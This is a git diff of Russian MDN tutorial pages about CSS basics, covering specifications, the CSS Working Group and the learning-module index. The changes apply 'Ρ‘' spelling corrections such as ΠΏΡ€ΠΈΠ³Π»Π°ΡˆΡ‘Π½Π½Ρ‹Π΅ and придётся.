+<p>Для ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° Π΄Π°Π²Π°ΠΉΡ‚Π΅ вСрнёмся ΠΊ ΠΌΠΎΠ΄ΡƒΠ»ΡŽ Бвойства Ρ„ΠΎΠ½Π° ΠΈ Π³Ρ€Π°Π½ΠΈΡ†Β β€” Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ΄ΡƒΠΌΠ°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ это Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ для свойств <code><a href="/en-US/docs/Web/CSS/background-color">background-color</a></code>Β ΠΈΒ <code><a href="/en-US/docs/Web/CSS/border-color">border-color</a></code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Π² этом ΠΌΠΎΠ΄ΡƒΠ»Π΅. И Π’Ρ‹Β ΠΏΡ€Π°Π²Ρ‹.</p>
<h3 id="ВСхничСскиС_характСристики_CSS">ВСхничСскиС характСристики CSS</h3>
<p>ВсС Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ Π²Π΅Π±-стандартов (HTML, CSS, JavaScript ΠΈ Ρ‚.Β Π΄.) ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Π² гигантских Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ…, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Ρ… спСцификациями, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡƒΠ±Π»ΠΈΠΊΡƒΡŽΡ‚ΡΡ организациями ΠΏΠΎ стандартизации (Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ {{glossary("W3C")}}, {{glossary("WHATWG")}}, {{glossary("ECMA")}} ΠΈΠ»ΠΈΒ {{glossary("Khronos")}}) ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚, ΠΊΠ°ΠΊ эти Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ вСсти сСбя.</p>
-<p>CSS Π½ΠΈΡ‡Π΅ΠΌ Π½Π΅ отличаСтся β€” ΠΎΠ½ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½ Π³Ρ€ΡƒΠΏΠΏΠΎΠΉ Π² W3C, которая называСтся <a href="https://www.w3.org/Style/CSS/">CSS Working Group</a>. Π­Ρ‚Π° Π³Ρ€ΡƒΠΏΠΏΠ° состоит ΠΈΠ· прСдставитСлСй ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»Π΅ΠΉ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ заинтСрСсованы Π² CSS. Π•ΡΡ‚ΡŒ Ρ‚Π°ΠΊΠΆΠ΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ люди, извСстныС ΠΊΠ°ΠΊ ΠΏΡ€ΠΈΠ³Π»Π°ΡˆΠ΅Π½Π½Ρ‹Π΅ экспСрты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ΡΡ‚ΡƒΠΏΠ°ΡŽΡ‚ ΠΊΠ°ΠΊ нСзависимыС голоса; ΠΎΠ½ΠΈ Π½Π΅ связаны с Ρ‡Π»Π΅Π½Π°ΠΌΠΈ ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΠΈ.</p>
+<p>CSS Π½ΠΈΡ‡Π΅ΠΌ Π½Π΅ отличаСтся β€” ΠΎΠ½ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½ Π³Ρ€ΡƒΠΏΠΏΠΎΠΉ Π² W3C, которая называСтся <a href="https://www.w3.org/Style/CSS/">CSS Working Group</a>. Π­Ρ‚Π° Π³Ρ€ΡƒΠΏΠΏΠ° состоит ΠΈΠ· прСдставитСлСй ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»Π΅ΠΉ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ заинтСрСсованы Π² CSS. Π•ΡΡ‚ΡŒ Ρ‚Π°ΠΊΠΆΠ΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ люди, извСстныС ΠΊΠ°ΠΊ ΠΏΡ€ΠΈΠ³Π»Π°ΡˆΡ‘Π½Π½Ρ‹Π΅ экспСрты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ΡΡ‚ΡƒΠΏΠ°ΡŽΡ‚ ΠΊΠ°ΠΊ нСзависимыС голоса; ΠΎΠ½ΠΈ Π½Π΅ связаны с Ρ‡Π»Π΅Π½Π°ΠΌΠΈ ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΠΈ.</p>
<p>НовыС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ CSS Ρ€Π°Π·Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΈΠ»ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ΡΡ Ρ€Π°Π±ΠΎΡ‡Π΅ΠΉ Π³Ρ€ΡƒΠΏΠΏΠΎΠΉ CSS. Иногда ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΉ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ заинтСрСсован Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΊΠ°ΠΊΠΈΠ΅-Ρ‚ΠΎ возмоТности, ΠΈΠ½ΠΎΠ³Π΄Π° ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ Π²Π΅Π±-Π΄ΠΈΠ·Π°ΠΉΠ½Π΅Ρ€Ρ‹ ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°ΡŽΡ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Π° ΠΈΠ½ΠΎΠ³Π΄Π° ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ сама рабочая Π³Ρ€ΡƒΠΏΠΏΠ° ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»Π° Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π½ΠΈΠ΅. CSS постоянно развиваСтся, ΠΏΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ Π½ΠΎΠ²Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹ΠΌ ΠΌΠΎΠΌΠ΅Π½Ρ‚ΠΎΠΌ Π² CSS являСтся Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ всС Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ ΠΎΡ‡Π΅Π½ΡŒ усСрдно, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ ΠΌΠ΅Π½ΡΡ‚ΡŒ Π²Π΅Ρ‰ΠΈ Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ это сломало старыС сайты. Π’Π΅Π±-сайт, созданный Π² 2000 Π³ΠΎΠ΄Ρƒ, с использованиСм ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½ΠΎΠ³ΠΎ CSS, доступного Π² Ρ‚ΠΎ врСмя, Π΄ΠΎΠ»ΠΆΠ΅Π½ всё Π΅Ρ‰Ρ‘ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ сСгодня!</p>
-<p>Как Π½ΠΎΠ²ΠΈΡ‡ΠΎΠΊ Π² CSS, Π²ΠΏΠΎΠ»Π½Π΅ вСроятно, Ρ‡Ρ‚ΠΎ Π’Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ CSS-спСцификации ΠΎΡˆΠ΅Π»ΠΎΠΌΠ»ΡΡŽΡ‰ΠΈΠΌΠΈ β€” ΠΎΠ½ΠΈ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Ρ‹ для ΠΈΠ½ΠΆΠ΅Π½Π΅Ρ€ΠΎΠ², Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… для Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ Π² ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… Π°Π³Π΅Π½Ρ‚Π°Ρ…, Π° Π½Π΅ для Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ², Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ CSS. МногиС ΠΎΠΏΡ‹Ρ‚Π½Ρ‹Π΅ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡ΠΈΡ‚Π°ΡŽΡ‚ ΠΎΠ±Ρ€Π°Ρ‰Π°Ρ‚ΡŒΡΡ ΠΊ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ MDN ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠΌ ΡƒΡ‡Π΅Π±Π½ΠΈΠΊΠ°ΠΌ. Однако стоит Π·Π½Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚, ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ взаимосвязь ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΌ CSS, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° (см. Π½ΠΈΠΆΠ΅) ΠΈ спСцификациями.</p>
+<p>Как Π½ΠΎΠ²ΠΈΡ‡ΠΎΠΊ Π² CSS, Π²ΠΏΠΎΠ»Π½Π΅ вСроятно, Ρ‡Ρ‚ΠΎ Π’Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ CSS-спСцификации ΠΎΡˆΠ΅Π»ΠΎΠΌΠ»ΡΡŽΡ‰ΠΈΠΌΠΈ β€” ΠΎΠ½ΠΈ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Ρ‹ для ΠΈΠ½ΠΆΠ΅Π½Π΅Ρ€ΠΎΠ², Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… для Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ Π² ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… Π°Π³Π΅Π½Ρ‚Π°Ρ…, Π° Π½Π΅ для Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ², Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ CSS. МногиС ΠΎΠΏΡ‹Ρ‚Π½Ρ‹Π΅ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡ΠΈΡ‚Π°ΡŽΡ‚ ΠΎΠ±Ρ€Π°Ρ‰Π°Ρ‚ΡŒΡΡ ΠΊ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ MDN ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠΌ ΡƒΡ‡Π΅Π±Π½ΠΈΠΊΠ°ΠΌ. Однако стоит Π·Π½Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚, ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ взаимосвязь ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΌ CSS, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° (см. Π½ΠΈΠΆΠ΅) ΠΈ спСцификациями.</p>
<h2 id="ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ°_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°">ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</h2>
@@ -116,7 +116,7 @@ p {
<h2 id="Π§Ρ‚ΠΎ_дальшС">Π§Ρ‚ΠΎ дальшС?</h2>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° Ρƒ вас Π΅ΡΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ прСдставлСниС ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ CSS, Π΄Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Π΅ΠΌ ΠΊΒ <a href="https://developer.mozilla.org/ru/docs/Learn/CSS/First_steps/Getting_started">Началу Ρ€Π°Π±ΠΎΡ‚Ρ‹ с CSS</a>, Π³Π΄Π΅ Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°Ρ‡Π°Ρ‚ΡŒ ΠΏΠΈΡΠ°Ρ‚ΡŒ CSS ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ.</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° Ρƒ вас Π΅ΡΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ прСдставлСниС ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ CSS, Π΄Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Ρ‘ΠΌ ΠΊΒ <a href="https://developer.mozilla.org/ru/docs/Learn/CSS/First_steps/Getting_started">Началу Ρ€Π°Π±ΠΎΡ‚Ρ‹ с CSS</a>, Π³Π΄Π΅ Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°Ρ‡Π°Ρ‚ΡŒ ΠΏΠΈΡΠ°Ρ‚ΡŒ CSS ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ.</p>
<p>{{NextMenu("Learn/CSS/First_steps/Getting_started", "Learn/CSS/First_steps")}}</p>
diff --git a/files/ru/learn/css/howto/index.html b/files/ru/learn/css/howto/index.html
index 578a2b1cbf..cc647758f3 100644
--- a/files/ru/learn/css/howto/index.html
+++ b/files/ru/learn/css/howto/index.html
@@ -4,7 +4,7 @@ slug: Learn/CSS/Howto
translation_of: Learn/CSS/Howto
original_slug: Learn/CSS/Как
---
-<p class="summary">Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ ссылки ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚ Π½Π° Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΠΎΠ±Ρ‰ΠΈΡ… повсСднСвных ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ, Π²Π°ΠΌ придСтся Ρ€Π΅ΡˆΠ°Ρ‚ΡŒ ΠΈΡ… с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS.</p>
+<p class="summary">Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ ссылки ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚ Π½Π° Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΠΎΠ±Ρ‰ΠΈΡ… повсСднСвных ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ, Π²Π°ΠΌ придётся Ρ€Π΅ΡˆΠ°Ρ‚ΡŒ ΠΈΡ… с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS.</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹_ΠΈ_использованиС">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ ΠΈ использованиС</h2>
diff --git a/files/ru/learn/css/index.html b/files/ru/learn/css/index.html
index c312325c9d..dcbc37eca8 100644
--- a/files/ru/learn/css/index.html
+++ b/files/ru/learn/css/index.html
@@ -42,7 +42,7 @@ translation_of: Learn/CSS
<dt><a href="/ru/docs/Learn/CSS/Styling_text">Π”ΠΈΠ·Π°ΠΉΠ½ тСкста</a></dt>
<dd>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ рассмотрим основы стилизации тСкста, Π² Ρ‚ΠΎΠΌ числС ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ ΡˆΡ€ΠΈΡ„Ρ‚Π°, Тирности, курсивного написания, мСТстрочного ΠΈ ΠΌΠ΅ΠΆΠ±ΡƒΠΊΠ²Π΅Π½Π½ΠΎΠ³ΠΎ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»ΠΎΠ², Ρ‚Π΅Π½Π΅ΠΉ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… особСнностСй тСкста. Π—Π°Π²Π΅Ρ€ΡˆΠ°Π΅Ρ‚ΡΡ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ дСмонстрациСй примСнСния ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ² Π½Π° вашСй страницС, ΠΎΡ„ΠΎΡ€ΠΌΠ»Π΅Π½ΠΈΠ΅ΠΌ списков ΠΈ ссылок.</dd>
<dt><a href="/ru/docs/Learn/CSS/Styling_boxes">Бтилизация Π±Π»ΠΎΠΊΠΎΠ²</a></dt>
- <dd>Π”Π°Π»Π΅Π΅ ΠΌΡ‹ рассмотрим Π΄ΠΈΠ·Π°ΠΉΠ½ Π±Π»ΠΎΠΊΠΎΠ², ΠΎΠ΄ΠΈΠ½ ΠΈΠ· основных шагов ΠΊ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ΅ Π²Π΅Π±-страницы. Π’ этом ΠΌΠΎΠ΄ΡƒΠ»Π΅ ΠΌΡ‹ ΠΊΡ€Π°Ρ‚ΠΊΠΎ рассмотрим Ρ€Π°Π±ΠΎΡ‚Ρƒ с Π±Π»ΠΎΡ‡Π½Ρ‹ΠΌΠΈ элСмСнтами, Π° Π·Π°Ρ‚Π΅ΠΌ ознакомимся с ΠΏΡ€ΠΈΠ΅ΠΌΠ°ΠΌΠΈ управлСния Π±Π»ΠΎΠΊΠ°ΠΌΠΈ, установив Ρ‚Π°ΠΊΠΈΠ΅ свойства, ΠΊΠ°ΠΊ поля, отступы ΠΈ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹, настроим Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Π΅ Ρ†Π²Π΅Ρ‚ ΠΈ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, Π° Ρ‚Π°ΠΊΠΆΠ΅ рассмотрим Π±ΠΎΠ»Π΅Π΅ слоТныС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Ρ‚Π΅Π½ΠΈ ΠΈ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Ρ‹.</dd>
+ <dd>Π”Π°Π»Π΅Π΅ ΠΌΡ‹ рассмотрим Π΄ΠΈΠ·Π°ΠΉΠ½ Π±Π»ΠΎΠΊΠΎΠ², ΠΎΠ΄ΠΈΠ½ ΠΈΠ· основных шагов ΠΊ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ΅ Π²Π΅Π±-страницы. Π’ этом ΠΌΠΎΠ΄ΡƒΠ»Π΅ ΠΌΡ‹ ΠΊΡ€Π°Ρ‚ΠΊΠΎ рассмотрим Ρ€Π°Π±ΠΎΡ‚Ρƒ с Π±Π»ΠΎΡ‡Π½Ρ‹ΠΌΠΈ элСмСнтами, Π° Π·Π°Ρ‚Π΅ΠΌ ознакомимся с ΠΏΡ€ΠΈΡ‘ΠΌΠ°ΠΌΠΈ управлСния Π±Π»ΠΎΠΊΠ°ΠΌΠΈ, установив Ρ‚Π°ΠΊΠΈΠ΅ свойства, ΠΊΠ°ΠΊ поля, отступы ΠΈ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹, настроим Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Π΅ Ρ†Π²Π΅Ρ‚ ΠΈ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, Π° Ρ‚Π°ΠΊΠΆΠ΅ рассмотрим Π±ΠΎΠ»Π΅Π΅ слоТныС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Ρ‚Π΅Π½ΠΈ ΠΈ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Ρ‹.</dd>
<dt><a href="/ru/docs/Learn/CSS/CSS_layout">Π Π°Π·ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ элСмСнтов с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS</a></dt>
<dd>К Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌΡƒ ΠΌΠΎΠΌΠ΅Π½Ρ‚Ρƒ ΠΌΡ‹ познакомились с основами CSS. ΠœΡ‹ Π·Π½Π°Π΅ΠΌ, ΠΊΠ°ΠΊ ΠΎΡ„ΠΎΡ€ΠΌΠ»ΡΡ‚ΡŒ тСкст, ΠΊΠ°ΠΊ ΠΎΡ„ΠΎΡ€ΠΌΠ»ΡΡ‚ΡŒ ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ Π±Π»ΠΎΠΊΠΈ, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… находится ваш ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚. ΠŸΡ€ΠΈΡˆΠ»ΠΎ врСмя ΡƒΠ·Π½Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊ Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ ваши Π±Π»ΠΎΠΊΠΈ Π² Π½ΡƒΠΆΠ½Ρ‹Ρ… мСстах Π² зависимости ΠΎΡ‚ области просмотра ΠΈ Ρ‚ΠΎΠΌΡƒ ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠ³ΠΎ. ΠœΡ‹ ΡƒΠΆΠ΅ Π·Π½Π°Π΅ΠΌ достаточно, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒΡΡ Π² ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS, Π² Ρ‚ΠΎ, ΠΊΠ°ΠΊ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π² зависимости ΠΎΡ‚ особСнностСй экрана, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ соврСмСнныС ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Flexbox ΠΈ CSS grid, ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ‚Ρ€Π°Π΄ΠΈΡ†ΠΈΠΎΠ½Π½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ всС Π΅Ρ‰Ρ‘ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ.</dd>
<dt>Адаптивный Π΄ΠΈΠ·Π°ΠΉΠ½ (TBD)</dt>
@@ -51,9 +51,9 @@ translation_of: Learn/CSS
<h2 id="РСшаСм_часто_Π²ΡΡ‚Ρ€Π΅Ρ‡Π°ΡŽΡ‰ΠΈΠ΅ΡΡ_ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹_Π²_CSS">РСшаСм часто Π²ΡΡ‚Ρ€Π΅Ρ‡Π°ΡŽΡ‰ΠΈΠ΅ΡΡ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹Β  Π² CSS</h2>
-<p>Π’ Ρ€Π°Π·Π΄Π΅Π»Π΅ <strong><a href="/ru/docs/Learn/CSS/Как">ИспользованиС CSS для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΠΎΠ±Ρ‰ΠΈΡ… ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ</a></strong> Π΄Π°Π½Ρ‹ ссылки Π½Π° Ρ€Π°Π·Π΄Π΅Π»Ρ‹, ΠΎΠ±ΡŠΡΡΠ½ΡΡŽΡ‰ΠΈΠ΅,Β ΠΊΠ°ΠΊ слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ CSS для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ самых распространСнных ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ ΠΏΡ€ΠΈ создании Π²Π΅Π±-страницы.</p>
